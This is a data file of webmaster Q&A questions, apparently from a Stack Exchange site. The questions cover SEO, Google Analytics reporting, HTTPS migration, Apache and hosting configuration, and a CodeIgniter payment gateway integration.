{"id":"61456","title":"Is it worth always geotargeting your site?","text":"Since, if you don't geotarget your TLD website, Google will make assumptions about its location based on IP address, browser info etc. would that not suggest that it is in fact ALWAYS worth geotargeting, lest you leave it up to Google to decide which country-specific search your site shows up in? If Google makes these assumptions with no geotarget set, then I'm guessing it will simply decide which country-specific search to include you in, and therefore which others to exclude you from... Or is it the case that you might show up in a few **different** country- specific searches by not geotargeting? Even if that's the case, I'm guessing you would still rank higher in one particular country's search by geotargeting for it, and so it would still be worth doing?"}
{"id":"49541","title":"Visits Time-of-day Histogram for last week in Google Analytics","text":"How can I know the hours of a day in which my site is the busiest from Google Analytics? I need the graph to take data from last week's visits and show the sum of visits for every hour of the day."}
{"id":"43279","title":"Codeigniter ci-merchant library - authorize.net payment gateway integration issue","text":"I tried to integrate codeigniter authorize.net payment gateway by using the docs http:\/\/ci-merchant.org , I can successfully integrate the paypal but unfortunately i couldn't do authorize.net. The below code i have tried,but not working, how to do it ? $this->load->library('merchant'); $this->merchant->load('authorize_net_sim'); $settings = array( 'api_login_id' => 'xxxx', 'transaction_key' => 'xxxx', 'test_mode' => true); $this->merchant->initialize($settings); $params = array( 'amount' => 10, 'currency' => 'USD', 'card_no' => '4111111111111111', 'exp_month' => '12', 'exp_year' => '14', 'csc' => 123, 'first_name' => 'Ashok', 'last_name' => 'KS', 'return_url' => 'http:\/\/www.ioss.in\/success', 'cancel_url' => 'http:\/\/www.ioss.in\/cancel' ); $response = $this->merchant->purchase($params); `print_r($response)` returns: Merchant_response Object ( [_status:protected] => failed [_message:protected] => [_reference:protected] => [_data:protected] => [_redirect_url:protected] => [_redirect_method:protected] => GET [_redirect_message:protected] => [_redirect_data:protected] => ) UPDATE 1 after change the code, its working fine... $params = array( 'amount' => 10.00, 'currency' => 'USD', 'return_url' => 'http:\/\/www.ioss.in', 'cancel_url' => 'http:\/\/www.google.in');"}
{"id":"13649","title":"Third-party site-uptime-checking services","text":"> **Possible Duplicate:** > Alternative to Pingdom website monitoring service To monitor my website I currently use Monastic.com (free, but only does checks something like once a day) and a free account on pingdom.com (free, but limited to a single website). Are there free services that ping pages on your website and can be used to check for uptime in that manner? And if there aren't any great free ones available, what are some cheap pay services? Recommendations?"}
{"id":"65158","title":"Checking if domain will be blacklisted in advance?","text":"I've chosen a name for my next website, let's say `example.com` - but I noticed that the url `example.de` is used for pornographic content (some links to other pornographic sites) and `example.net` is dead now but did so some years ago. The words used in the domain aren't anything \"fancy\" and I shouldn't necessarily trigger a blacklisting. But I'm worried that due to the other two sites (`example.de` is already blacklisted by at least Avira) my new site will be blacklisted as well. **tl;dr** How can I check whether popular firewalls will block my domain _before_ I go and register it? **Edit** I've read these two questions ([1], [2]), but my case appears to be somehow different as I'm not buying an already existing domain but registering it for the very first time."}
{"id":"55760","title":"How to setup multiple Google Analtyics goals that have the same final page but different steps to get there","text":"I have a set of white papers that each have its own page on my site. Visitors have to fill out a basic form to get one. If they fill out the form, they get that specific paper. The \"thank you\" page is the same for all seven white papers I am offering, but the steps a user takes are different in that the white paper has its own page where the form lives. This is an example. The resulting page is the same if they fill out that form, or if they fill the same form on a different page. I currently have a different goal for each paper. Since there are only seven papers it's OK. Just want to make sure this is setup the best."}
{"id":"65379","title":"Does using double quote (\") to represent inches cause issues for search engines?","text":"An issue came up at a company that I started working for recently on the dimensions for product content being displayed using **\"** instead of **in**. For the sake of example, let's say the product dimensions were 24\" x 38\" (how I was displaying it). The owner of the company told my boss to have me change it to 24in x 38in due to some search engine implications, but he's on vacation right now and I can't ask him about it until next week. I decided to do some research on the topic. 1. First off, I went to some major sites like Amazon, Walmart and Walgreen's to see how they displayed it and _every_ site that I checked all used a double quote to represent inches. I checked the source code to see if it was represented as an as a \" or an HTML entity and it was always a \". 2. Then I hit Google and searched using different variations of the title of this post as my search term and couldn't find anything relevent at all. 3. My next thought was to try and search for something using dimensions specified using both **\"** and **in** to see what kind of results I would get. While none of the results actually had any **\"** in them, the searches were fairly successful. However, the results were also quite different when I used **in** instead. (Now, although I was already aware that part of the reason searching with **\"** was problematic because of the use of double quotes to specify an exact phrase, it became painfully obvious when none of the results ever included a \".) Personally, I think using a double quote to represent inches looks more professional and streamlined, where using **in** or **in.** or, even worse, **inches** looks kinda tacky to me. But at the end of the day, what's really important is the impact on search engine results and I don't have any real data to back up my assertion."}
{"id":"32839","title":"eCommerce solution for leasing devices for a monthly fee","text":"What eCommerce solutions there exist which allow leasing type of sales? I am working with a medical tech company whose devices are often leased due to high price point. Now the company would be looking for an opportunity for web based eCommerce solution where one could both * Buy a device * Lease a device for X month, monthly charged from a credit card I am pretty aware of normal click-and-buy e-Commerce platforms (Magento, etc.), but I don't know what kind of options there exist for managing the device leases. Both self-hosted solutions and SaaS e-Commerce solutions can be considered."}
{"id":"25558","title":"Why isn't my PHP file running?","text":"I recently installed Apache and later installed PHP too. When I browse to `http:\/\/localhost\/index.html` it displays the default Apache page \"it works\". But when i try to run `http:\/\/localhost\/phpinfo.php` it starts to get downloaded instead of running the PHP code * My Apache version 2.2 * PHP Version 5.2.1"}
{"id":"32529","title":"Google Analytics - how to track multiple sections of a site at once?","text":"I need to track the pageviews and goal completions for the Blogs section of my website, and I used to do this simply by searching the word \"\/blog\/\" under Content, which would pull all of our Blog pages that had the word \"\/blog\/\" in the URL and analyze the pages together in a group. The blog URLs were always something like www.mysite.com\/blog\/article1. However, we recently changed our URL naming scheme and now all blog pages have URLs that look like www.mysite.com\/community\/article1. Since there's no word the two formats have in common, I can no longer do a simple search like I used to. How can I run some kind of report or filter that will pull the pageviews for both \/blog\/ pages and \/community\/ pages all at once? I tried making an advanced segment but it pulled weird pages that I didn't want at all. Any help would be MUCHLY appreciated! Thanks in advance."}
{"id":"55765","title":"Tumblr Custom Domain & Google Ranking","text":"I just set up a custom domain for my Tumblr blog. I had high Google rankings and heavy traffic with my old url, and now I've lost my ranking and some of my traffic. I'm wondering how long I can expect my ranking to suffer? I'd rather not lose a big chunk of my traffic. Google has already indexed my custom domain, & I've verified it with Google Webmaster Tools. Tumblr automatically does the 301 redirect. Is there anything else I can do? Would going back to my old url make any difference?"}
{"id":"32525","title":"Average header response time of a website","text":"I'm building a link checker to check a huge amount of URLs for uptime and I'm currently thinking about timeout times. Do you know any statistics which provide the average header response time to have an approximation for setting the timeouts? Thanks!"}
{"id":"32524","title":"Where can I find graphics to use in printable worksheets I create and make available for download?","text":"I'm looking to put up a website with worksheets that I make and they will need to have graphics in them. The worksheets will be available for download for free. Where can I find images that I can use in these worksheets without infringing on copyrights? I'm not sure I can just use free clipart."}
{"id":"3992","title":"Is using only https bad in a SEO perspective?","text":"I would like to set up a new business site. I plan to direct `www.example.com` to `example.com` and only use that domain. My plan is also to only use https and not http. Does this affect the SEO for the site? E.g. do Google put lower or higher rank for sites that is only available via https?"}
{"id":"65155","title":"How to remove a Facebook App from Facebook's search results?","text":"I have a Facebook app so users can login to my website using their Facebook account, but when you type my website name into Facebook's search (the search box right next to the Facebook logo) the app shows up in the search results. When I click it, it says \"Misconfigured App - Sorry, the details for AppName cannot be displayed because the app is misconfigured.\" I want to remove my app from Facebook's search results, because it's not meant for users, but I can't figure out how to do it. Any ideas?"}
{"id":"56585","title":"Google Analytics: multiple domains graphic","text":"I changed the code on some of my websites to track all data into one Google Analytics account. I did this by adding on every domain: _gaq.push(['_setDomainName', 'http:\/\/myurl.com']); Now I see data appear in Google Analytics but I don't know how to display it correctly. I want the following to appear on my dashboard: * Domain visitor report: a line graph of every domain's daily visitors * Domain bounce rate report: a line graph of bounce rates \/ domain This way I can easily see what my top domains are etc. Is this even possible in Google Analytics?"}
{"id":"56231","title":"How can I get Google to read my site's reconsideration request?","text":"I have a site that's got two manual penalties in Google Webmaster Tools: one for \"pure spam\" and one for \"user-generated spam\" (no link penalties currently - this is just for on-site stuff). Pure spam: > Pages on this site appear to use aggressive spam techniques such as > automatically generated gibberish, cloaking, scraping content from other > websites, and\/or repeated or egregious violations of Google’s Webmaster > Guidelines. User-generated spam: > Pages from this site appear to contain spammy user-generated content. The > problematic content may appear on forum pages, guestbook pages, or user > profiles. In the example URLs for the \"pure spam\" penalty, every single URL listed is in the site's \/blogs\/ directory. That entire directory and every URL in it has been giving a 410 response code for more than a year. I have also done a site: search to confirm that no URLs in this directory are remaining in Google's index. I've submitted two reconsideration requests asking that the \"pure spam\" penalty be lifted, explaining that I've 410ed the entire directory in an effort to eliminate entirely all the spam on the site. The first reconsideration request was on 6 October 2013 and eventually I got this message back on 24 October 2013: > We received a reconsideration request from a site owner for (site). > > We've now reviewed your site. When we review a site, we check to see if it's > in violation of our quality guidelines, and revoke or adjust manual spam > actions applied to the site if appropriate. You can use the Manual Actions > page in Webmaster Tools to view actions currently applied to your site. > > If your site isn't appearing in Google search results, or if it's performing > more poorly than it once did, check out our Help Center to identify and fix > potential causes of the problem. This led me to believe that nobody at Google actually read my reconsideration request and checked to verify that I had cleaned up the site. So I followed up with a new reconsideration request on 18 November 2013. Sure enough, on 12 December 2013 I received this message again from Google: > We received a reconsideration request from a site owner for (site). > > We've now reviewed your site. When we review a site, we check to see if it's > in violation of our quality guidelines, and revoke or adjust manual spam > actions applied to the site if appropriate. You can use the Manual Actions > page in Webmaster Tools to view actions currently applied to your site. > > If your site isn't appearing in Google search results, or if it's performing > more poorly than it once did, check out our Help Center to identify and fix > potential causes of the problem. Can anybody tell me what it will take to get someone at Google to _read_ my reconsideration request instead of just waiting a few weeks and then sending me boilerplate autoreplies? In particular, speaking just about the \"pure spam\" penalty, I'd like one of two things to happen: either give me a list of example URLs that are affected that aren't returning a 410 status code, or lift the penalty. ps. If it would be helpful, I'd be happy to share the site's domain and the full text of both reconsideration requests with anyone at Google or with anyone else who can help."}
{"id":"43181","title":"Tool for running a diff against production and test servers?","text":"We're about to have a major site infrastructure migration (new OS, upgraded PHP, etc). We currently have a live test mirror of the new environment running, using the production file system. We're expecting there to be some issues due to both the version change in PHP (let's just say PHP was very out of date on the old server and leave it at that) and changes in environment variables. Are there any good automated tools to quickly spider both sites so we can pinpoint issues faster than manually checking each page? I've already found a few manually, but anything which can double check in an automated fashion--especially across the entire site--would be lovely. I've searched around a bit but haven't found anything that seems to fit what we need. Maybe I'm just running the wrong keywords. Multi step processes would be fine too, like spidering the site with a batch script\/mass downloader and then running a folder diff. I'm coding from a windows environment but 'nix tools are fine too."}
{"id":"47636","title":"How do I transition to SSL without affecting PageRank?","text":"Here at Stack Exchange we're working on moving all traffic to SSL. The reason we're not doing logged-in-users only is that one side of the login divide would suffer a redirect from Google every time. This happens because Google's only going to have `http:\/\/` or `https:\/\/` in the results, not both. Aside from building the SSL infrastructure (details here), the outstanding question we have is: **how do we best transition to SSL?** Here are the relevant bits of our plan (testing on small sites, moving up to `stackoverflow.com`): 1. Get SSL ready\/enabled (but not linked to) on all domains 2. Start rendering _only_ the `<link rel=\"canonical\">` as `https:\/\/` 3. Start sending a 301 for all `http:\/\/` requests to `https:\/\/` (from our domains...of course we can't do anything about all the existing links pointing to us) 4. After a transition period, set all user cookies as `secure` So the endgame is having all content delivered over SSL and all HTTP requests redirected. What we're primarily concerned with is how this will affect PageRank to our sites. We depend a great deal on traffic that comes from Google and want to ensure that doesn't take a dive as we start delivering more security to our users. The only bits I've found on this that seem to be substantive are a comment from a Google employee on an older question along similar lines: > @Frank Yes, I'm certain that Google treats HTTP and HTTPS URLs as separate > URLs for crawling, indexing and ranking (I work with the web-search team > here at Google). Doing canonicalization with a 301 redirect like you > mentioned is a great way to solve this :) – John Mueller Oct 23 '10 and the only webmasters video I could find: Can switching to HTTPS harm ranking? The video doesn't have a solid answer, not one I'd base the future of a company on anyway. Is our transition plan the best way to accomplish an SSL move, at least from an SEO perspective? If there's other more recent or concrete advice around how a move like this affects Google ranking we'd love to hear about it."}
{"id":"67866","title":"How do I notify Google of a change of address from http to https?","text":"I've just switched a site from http only to https only (on the same domain name), and have 301 redirects from old to new in place on a page by page basis. How do I now inform Google, using Webmaster Tools or otherwise, of this change of address so as to maintain rank?"}
{"id":"67212","title":"How to convince Google to list HTTPS version of website?","text":"Having finally configured HTTPS for my company's website, I'm wondering now if there are any steps I can or should take to convince Google's search results to list the site as an HTTPS link rather than an HTTP link. Is this merely a case of waiting for Google to trawl valid HTTPS links on its own and eventually realize the HTTPS address exists? Or is there some overt actions I should be taking, for example setting up redirects to force the issue?"}
{"id":"53977","title":"Changing my site from HTTP to HTTPS - will google search results sort themselves out?","text":"I've made all of my http pages 301 redirect to their https equivalents. I've also made sure that all of the URLs in my sitemap files are https. Lastly I created a new profile in GWTs under the https version of the site, and submitted the sitemaps in there (and removed them from the http version of the site). I suspect this was unnecessary, but I don't think it'll have done any harm. Is there anything else I need to do, or is it just a matter of time for google to re-crawl and update their index? Thanks"}
{"id":"43187","title":"How do I prevent ISPs from killing downloads of files in mid-transfer?","text":"I run a small website with a few users, low traffic, mostly to share personal mp3 files with a small community. Depending on their ISP, my users can't always download or stream larger files. By larger I mean larger than 1MB. Essentially the host either stops sending, or the client stops receiving. One of the links along the connection chain simply ends its connection before the transfer completes Trace-route shows no connection issues. There are no connection issues with short transfers that don't take more than a few seconds. It's these 10 second transfers that just end up ending. Just doing a straight download with a direct link can yield this error if you have the wrong ISP. Strangely enough, this is most common with users with ISPs who are essentially independent providers that buy service via a fiber link. Unfortunately these providers aren't very knowledgeable, are unable to do any testing, and insist it's a problem with the host. I have gotten my host to transfer my site to different servers of their, to the same effect. Nearly identical sites (affiliate sites actually) experience no such issue. What can I be doing to further troubleshoot this matter? How can I prove that someone is dropping the ball, and identify who that party is? Can I do a 5Mb traceroute? **EDIT** Maybe I can clear up some misconceptions with my question: 1. The files are not _very_ large. They are simply over 2Mb. 2. The users do not have \"slow\" connections, they are at least 5mbps. 3. This \"time out\" happens very quickly, in the realm of 5 seconds, so I don't know if it's a timeout or not. The user often gets 1 or 2Mb in this chunk of time. 4. I have tried streaming with a flash player. 5. I have tried saving the target. Forcing the download. 6. I have tried allowing the browser to stream the file. 7. I have tried different browsers (FF, IE, Chrome). 8. Users are able to download identical files when on different hosts."}
{"id":"60353","title":"Plesk Site Preview Redirects to Plesk Login","text":"I moved over an existing php site to plesk panel 11.5 and now I'm having an issue with the site preview. When I click site preview the site comes up fine in a new window, however when I try to navigate within site I'm redirected to the plesk panel login on the the new window. Then if I click on the plesk panel window, I'm also redirected to plesk panel login. How can I make changes to site and preview them without having plesk site preview redirect me to plesk login?"}
{"id":"43188","title":"How to arrange images and video thumbnails into a tile like format in a web page?","text":"I would like to arrange a few images and video thumbnail views into a tile like format (like the apps on windows 8 start screen) in a web page. Which tag should i use for this purpose and how to use them?"}
{"id":"35436","title":"Web development and tips for building a website and the advantages of using HTML 5 in the site","text":"I am trying to make a website for my college, and the program starts from jan 13 and we get 15 days of time to develop a running site. The best site will become the college site. I am participating, for all these days i used to participate in C and C++ contests and also won a few contests, now i am really into web dev for the last 2 months. I knew HTML long ago recently i brushed up on it and learnt javascript from \"javascript and jquery the missing manual\"(sorry for not adding the link) and recently bought \"PHP and MySQL web development\" and I am going on fine with it, but still a lot of pages to cover in that book. After this what do i need to know ajax is one language to concentrate on, what else do i need to do to make this project up and running. Can someone let me know the tricks of this trade and complete information to build a site like this. Right now i am good with javascript HTML and CSS and thats it, what else I am studying HTML5 and CSS3 its pretty fast and neat. The info on site is a college website which includes students profiles where the have to register their info with college id number and pretty much thats it. Think of it as a college site + a social networking site for students, where they can upload there pics and videos pdf books etc."}
{"id":"60357","title":"What nameservers should I use for GitHub Pages when using a custom domain?","text":"I am using a custom domain for a GitHub Pages site. They said to set `CNAME` or `A` record. But what nameservers should I use? What is the default, or should I leave it blank?"}
{"id":"45461","title":"we choose to use tables to layout web forms: (how) can we make them valid\/accessible?","text":"we are building a site with dozens of very complex forms and we decided that the best solution for us is to make them using `<table>` but we are worried about accessibility and standards. what i think is that a form **may** be totally accessible and standards valid if it is made in a proper way for example: <table> <tr> <th rowspan=\"2\">Your informations<\/th> <th><label for=\"name\">Name<\/label><\/th> <td><input id=\"name\"><\/td> <\/tr> <tr> <th><label for=\"surname\">Surname<\/label><\/th> <td><input id=\"surname\"><\/td> <\/tr> <\/table> for me this is a perfectly valid form and accessible too. but I may be wrong. am I? what should i do, where my attention needs to go, in order to make accessible forms\/standards valid forms nowadays? i'm also interested in a seo perspective. p.s. our tables are not simple tables, we use rowspan, colspan a lot, but the structure (cols and rows meaning, headings etc is perfectly fine)"}
{"id":"46919","title":"How to appears in Google Blog Search","text":"I have a wordpress.org blog configured with pingomatic.com. I verify my site on Google webmaster tools, all my post are indexed on the \"normal\" google search but no one on Google BlogSearch. I manually visit pingomatic.com many times and I also visit http:\/\/blogsearch.google.com\/ping. I type the exact title of a post and I choose to see posts from the last month. Nothing."}
{"id":"45463","title":"How to copy a web page as static content (no JavaScript)","text":"Part of my job is to create mockup designs for clients, where our plugin is inside their existing website. This involves finding a page, downloading all the content, adapting it to run offline (use no online content), and adding the plugin. By far the hardest (most time-consuming) stage is adapting the site to use local content. I'm familiar with Chrome's \"save page as\" option, and always use it as the first step, but I'm left with a mountain of JavaScript and CSS which always references online content (these aren't the best-made websites, and they're quite huge. Most of the referenced content is from CDNs). Since this is only a mockup, I don't care about the interactive JavaScript so I use Chrome's \"copy as HTML\" option to get a snapshot of the HTML, and delete any JavaScript it had. I also use Chrome to delete any complicated bits that aren't needed, like Facebook\/Twitter plugins. But I'm still left with the task of searching through the HTML and CSS for URLs, ensuring the resource each links to was downloaded properly (quite often with CSS links they aren't), and updating the URL to use a relative path. My background doesn't go far enough into web design, so I'm hoping there's a tool or workflow I don't know about which does this sort of thing easily. Can anybody suggest an easier\/faster method for getting a 100%-local, static copy of a page?"}
{"id":"65566","title":"When does Apache log to access.log - before or after serving the request?","text":"Reading this post \"Understanding Apache Access Log\" it refers to http:\/\/httpd.apache.org\/docs\/1.3\/logs.html which says > %t is the time the server finished processing the request. By this I understand that a line in access.log will not be written until the request has been served by the server. So if the request takes one minute, the timestamp will be one minute after the server received the request. But, the above doc is for Apache 1.3. Reading this one http:\/\/httpd.apache.org\/docs\/2.2\/mod\/mod_log_config.html it says > %t Time the request was received (standard english format) Now understanding that based on the above example, the timestamp is referring to when the request was first received by the server. But if so, then Apache would need to update access.log yet another time when the request has been served. Or maybe wait to update access.log until the request has been finished, but I doubt that since I would expect the events not to be sorted by time - but they are (making the first explanation more reasonable according to my understanding. So which one is correct, finished processing or received - or both depending on version? (Or, what have I not fully understood...)"}
{"id":"57727","title":"Is it bad to have a mix of HTML 5 and XHTML pages within one website from SEO perspective?","text":"We are going to update our website from well-formed XHTML 1.0 Transitional to HTML 5. However, as I see, we will be doing this step-by-step. This means we will have some pages in HTML 5 and others in XHTML at the same moment. Can it affect our current SERP positions and the results of other SEO works we have already done?"}
{"id":"27176","title":"Make google index the actual image not the thumbnail","text":"In a website, we have a JavaScript that opens an image when people click on the thumbnail, it seems like Google only indexes the thumbnail not the actual image with real dimensions, I was wondering if there is a way to tell Google where the actual image is and guide Google on what images to pick for `images.google.com` **Any thoughts on that?**"}
{"id":"27172","title":"What is the notified-CompliancePage page?","text":"I sometimes have bots (I assume) hitting pages such as: \/notified-CompliancePage?aHR0cDovL3d3dy5teXBpdm90cy5jb20vZGFpbHlub3Rlcw== \/verify-CompliancePage?aHR0cDovL3d3dy5teXBpdm90cy5jb20vZGFpbHlub3Rlcw== Any idea what these pages are intended for or what the bots are looking for? Referring source: http:\/\/compliance.ubp.internet\/notify-CompliancePage... which is obviously not going to resolve because there is no .internet TLD"}
{"id":"57204","title":"What is a best canonical URL for a search result page?","text":"I have read a Google guideline About rel=\"canonical\" and I have known that > A canonical page is the preferred version of a set of pages with highly > similar content. I have a search page which URL is appended by search keywords, for example, when user searches \"fruits\" or \"apple\" or \"banana\", the URL will go like these: > example.com\/search\/fruits > example.com\/search\/apple > example.com\/search\/banana All of these URLs will rewrite to the page `example.com\/search\/index.php?keywords=xxx` What is the best canonical URL for better SEO? So far, the page has no search result when user types the URL manually without keywords `example.com\/search`. Will it be a best canonical URL if I make a query to show a best result for no keywords? I have also a weight calculation on the user search keywords. If more users find \"fruits\", it has a greater weight, for example, fruits = 100, apple = 50, banana = 10. It means 100 users search for \"fruits\", 50 users search for \"apple\" and so on. In this case, would the URL `example.com\/search\/fruits` be the best for canonical? The search result may vary on the search keywords. It may be or may not be duplicate contents. I'm not sure how I should handle the canonical URL for this situation."}
{"id":"55589","title":"Custom report based on query string in Analytics","text":"I thought this would be pretty simple but i can't really figure out how to use a query string to create a custom report. I have multiple pages where all have a query string called `?platform=`. There may be other query strings as well and \"platform\" may not be the first one. All I want to do is to create a report where I can see all visits that has a page with the `?platform=` query string as a landing page. Then I want to be able to click on each possible value of the platform parameter and get separate stats from that. I guess it's very similar to the \"search\" query parameter feature but I already use that for search. I also know I could create an custom event or a custom variable and track it that way but it feels a bit weird since it already is a parameter in the URL that Analytics knows about. I've found some data in the \"Behavior -> Path\" metric but i can't really figure out to make Analytics treat is as a \"filter\" more or less so I can drill down into the the value of the query string."}
{"id":"294","title":"What are some great resources for mastering Apache administration?","text":"I've been working with Apache for a couple years now and am comfortable with basic administration and configuration. However, I'd really like to increase my skill set from basic administration to being a true Apache wizard. What are some must read books, mailing lists, feeds, etc. for someone looking to increase their overall skill level with Apache?"}
{"id":"55583","title":"Securing cPanel and WHM","text":"Is there a way I can trace users who log in in my cPanel and WHM? I know about cPHulk but it just records users who attack the server. I just want to record every user their IP address that log into cPanel or WHM and also the files they are uploading or downloading."}
{"id":"290","title":"Mt shared hosting provider has taken hostage my domain name after my registration lapsed, how can I get it back without paying too much?","text":"I have a site that I hosed on a shared hosting plan where the domain was sold along with the site. Long-story-short. The website registration has lapsed and the plan was canceled and now the hosting compant wants me to pay $250 to purchase my domain name back. Is there anything I can do about it or do I have to pay whatever they ask?"}
{"id":"52009","title":"Do clicks on SERPs increase SERP ranking?","text":"I'm wondering if it helps to click, to get my page upper on Google? I mean, say my page has content with keyword **abcde** , and somebody types \"abcde\" in Google, and finds my website, say in page 5, and clicks on it. Does it make my website go to page 4 ?"}
{"id":"60131","title":"How to mask the \"&\" character in a URL","text":"I have got a URL where the character `&` should not stand for a paramter. How can I mask it that it is interpreted like a normal letter?"}
{"id":"26473","title":"Is there a CDN for large files that doesn't need a manual upload?","text":"I have a MaxCDN account. I am using their pull zones and it works perfectly (they autoamtically download .css, .js etc from my server) Now I would like to use the cdn for large file too, but MaxCDN's Push Zones requires me to manually upload the files. Is there a CDN that automatically grabs large files?"}
{"id":"56057","title":"Can a change of all URLs to lower case with canonical from others cause traffic loss?","text":"I've recently changed URLs to lower case. I'm also suffering from about 15% traffic drop from search engines, which started about a week after my change. Can this be related? This is what I've done. Till now I've had all pages URLs look like this `http:\/\/mydomain.com\/folder\/Page`. And all internal links in the site were also to `http:\/\/mydomain.com\/folder\/Page2`. All these have now turned into: `http:\/\/mydomain.com\/folder\/page` and `http:\/\/mydomain.com\/folder\/page2`. And the page that still exists at `http:\/\/mydomain.com\/folder\/Page` has been add this in HTML `<head>`: <link rel=\"canonical\" href=\"\/folder\/page\" \/> Have I done anything wrong? Would you recommend me to put it back to the way it was?"}
{"id":"60138","title":"AVG says web site is not secure","text":"Recently a co-worker viewed our site from a different location. He said that AVG came up and said the site was not secure and blocked the site. However, when I run the site through AVG it says the site has no malware and no potential threats. We do not sell products or collect information. So we do not have a secure layer on the site."}
{"id":"25446","title":"Can I be penalized for using breadcrumbs and subcategories for similar content?","text":"I am building a new navigation system via breadcrumbs based on categories and sub-categories. Example 1: Having url like this: http:\/\/mywebsite.com\/listings-in-london-hatchback-car-for-sale-red-vauxhall Having breadcrumbs like this: Home Page > Listings > London > For Sale > Car > Hatchback > Vauxhall > Red That Page has 10 red cars. Example 2: Having another url like this: http:\/\/mywebsite.com\/listings-in-london-hatchback-car-for-sale-vauxhall Having another breadcrumbs like this: Home Page > Listings > London > For Sale > Car > Hatchback > Vauxhall That Page has same 10 cars but users may add in the future cars which are not red. Example 3: Having another url like this: http:\/\/mywebsite.com\/listings-in-london-hatchback-car-for-sale Having another breadcrumbs like this: Home Page > Listings > London > For Sale > Car > Hatchback That Page has too same 10 cars but users may add in the future cars which are not vauxhall. There can be similar situations for other categories. Is it bad practice ? Can it be the cause for duplicate content penalty ? What should i do for avoid any penalties ?"}
{"id":"25443","title":"Is there anyway way to transfer .psd files from a windows machine to a mac without exposing other files?","text":"I need to transfer photoshop files back and forth from my computer (mac) to a girls computer (windows) that I'm working with. The only problem with FTP is whoever is it exposes other files on the other persons computer. Plus with FTP both computers have to be connected in order to transfer. Is there any way to get around this? note: I tried just emailing the files in gmail, but the files are rendered in the browser. when what I really need is to import the files into photoshop and edit them."}
{"id":"47128","title":"Google is not indexing the main domain","text":"We have a main domain called `www.riya.travel`. If a user visits `riya.travel` from India it will redirect to the subdomain `in.riya.travel` . If a user visits `riya.travel` from another country, it will redirect to `us.riya.travel`. I want to index `riya.travel` in Google. We installed Google Analytics and Webmaster Tools and submitted a sitemap. I want to index the sub main to my main domain. Is this possible? If yes, then how should I approach this?"}
{"id":"44983","title":"Different between GA avg time on page vs. avg visit duration","text":"I'm newer to using Google Analytics, and I have a question about a page in my website I'm looking at. For a specific page in my website, the avg. time on page is 1:08. But, when I find this page under Content > Site Content > Landing page, the avg. visit duration is 0:26. Can someone explain the difference between these two metrics? I think I understand how avg time on page is calculated, but I don't see how it's different to avg visit duration. If someone was to ask me how long does a user typical stay on this page before leaving to go somewhere else (whether to a different website or somewhere else within our own website), what would I say? Thanks!"}
{"id":"67717","title":"How to improve alexa rank to my website?","text":"I have a coupon based website. And i have good number of visits. But, my alexa rank is as low as 5,77,000+. How can i improve my alexa rank?"}
{"id":"42582","title":"Removing full site from Google index","text":"I want to remove the contents from Google index. Google index include my websites huge number of pages indexed in Google index about 5,000,000 Pages earlier but now left pages are 3,025,000. I have made the following things but the removal of pages are very slow pace. Robots.txt: User-agent: * Disallow: \/ .htaccess: rewriteengine on rewritecond %{HTTP_USER_AGENT} ^.*Googlebot\/2.1.*$ rewriterule .* - [F,L] The is the content returned to Googlebot when it try's to crawl the content: HTTP\/1.1 410 Gone Date: Sat, 05 Jan 2013 12:39:23 GMT Server: Apache\/2.2.23 (Unix) mod_ssl\/2.2.23 OpenSSL\/0.9.8e-fips-rhel5 mod_fastcgi\/2.4.6 mod_jk\/1.2.37 mod_auth_passthrough\/2.1 mod_bwlimited\/ 1.4 FrontPage\/5.0.2.2635 PHP\/5.3.19 Content-Length: 661 Connection: close Content-Type: text\/html; charset=iso-8859-1 I had also used the html meta tag `noindex`, no follow but no effect as: <meta name=\"googlebot\" content=\"noindex,nofollow\"> I had also submitted for website removal but the speed of removing of contents is very slow. In last 35 days the only few are pages are removed. My website is also removed from Google search index but Google Webmasters Tools - Health -> Index status still showing 3,025,000 page and If I re-submit the site they will show already indexed pages. How can I increase the speed to remove pages."}
{"id":"8551","title":"Displaying topics\/categories related ads","text":"Is there any advertising company that allow webmasters to decide on general ad topics (such as \"Entertainment\", \"Autos and vehicles\", \"Arts\", etc.) to be displayed for a user visiting on a website? I know you can choose specific ad campaigns to show to users, or let the advertising company decide for you which ads to show. But I am looking for an option to ask for the advertsing company to show me ads based on categories\/topics. Thanks. Frank"}
{"id":"54538","title":"which is the best CMS for building a Video tutorial website?","text":"I am planning on setting up a website where I will be posting \" **how to or training videos** \" for various softwares. There will be several training videos under a single topic. And there will be several topics under a single software training. Similar to lynda.com but in a small scale. Can you suggest me a CMS for the job? Initially I am planning on hosting videos on YouTube and linking them to my website. But, I will be moving to my own hosting later on. It must be customizable, scalable, and most of all **OPEN SOURCE**"}
{"id":"67713","title":"How to redirect my homepage installed in a sub-directory to another sub-directory?","text":"I have a Joomla website which has been installed in a sub-directory named \"joomla\" and has pages like the following structures: http:\/\/www.parsilatex.com\/joomla\/index.php http:\/\/www.parsilatex.com\/joomla\/index.php\/1391-09-23-16-04-58 http:\/\/www.parsilatex.com\/joomla\/index.php\/1388-06-28-13-55-06\/214-thumbnailsinlofinxepersian http:\/\/www.parsilatex.com\/joomla\/index.php\/about-us Now I'd like to redirect the homepage **only** to the new Wordpress version of the website, `http:\/\/parsilatex.com\/site\/`. In other words, I'd just like to redirect the old homepage to the new one. When I use the code below, I get \"Page not found\" errors. Redirect 301 \/joomla\/index.php http:\/\/www.parsilatex.com\/site\/ **How can I accomplish this via my .htaccess file?**"}
{"id":"43786","title":"How much bandwidth is required to run an app that will be used by ten thousand users at the same time","text":"Could you please tell me how much bandwidth should I look for to run an web based application (total file size 3.4 mb) which will be used by ten thousand users at the same time? App Details: web languages used: PHP, HTML, Jquery Database: MySql If possible could you please suggest me a good hosting service provider? Thanks"}
{"id":"39928","title":"SEO wikipedia content and blockquote - duplicate content","text":"I have a large website that aggregates content both from the websites and Wikipedia. Even thought it's someone else content, the way it's combined is unique ad provides a valuable user experience (Google always states it before thinking to SEO). Every page of the website has at least 10-20 links to a related Wikipedia article (abstract, only first paragraph) + Wikipedia foto. Pretty much like Google does if you search for example \"Picasso\". How am I supposed to handle this content? Here it is advised to use block quote and cite tags whilst here to link Wikipedia. Should I expose direct Wikipedia link article, should I use the block quote tag, use `rel=\"nofollow\"` or link internal to my site and redirect in this fashion: example.com\/wikilinks\/?idpage=1 with Disallow: \/wikilinks in my robots.txt? All together there will be millions of links pointing to Wikipedia."}
{"id":"7860","title":"Any tools for measuring the security of a site?","text":"I'm wondering is there any tool for measuring or testing the security of a website ? I've written some ASP.NET web-app , So i would like measure the security of my own application and if there is any whole like sql-Injection or XSS , i could fix that . Thank you"}
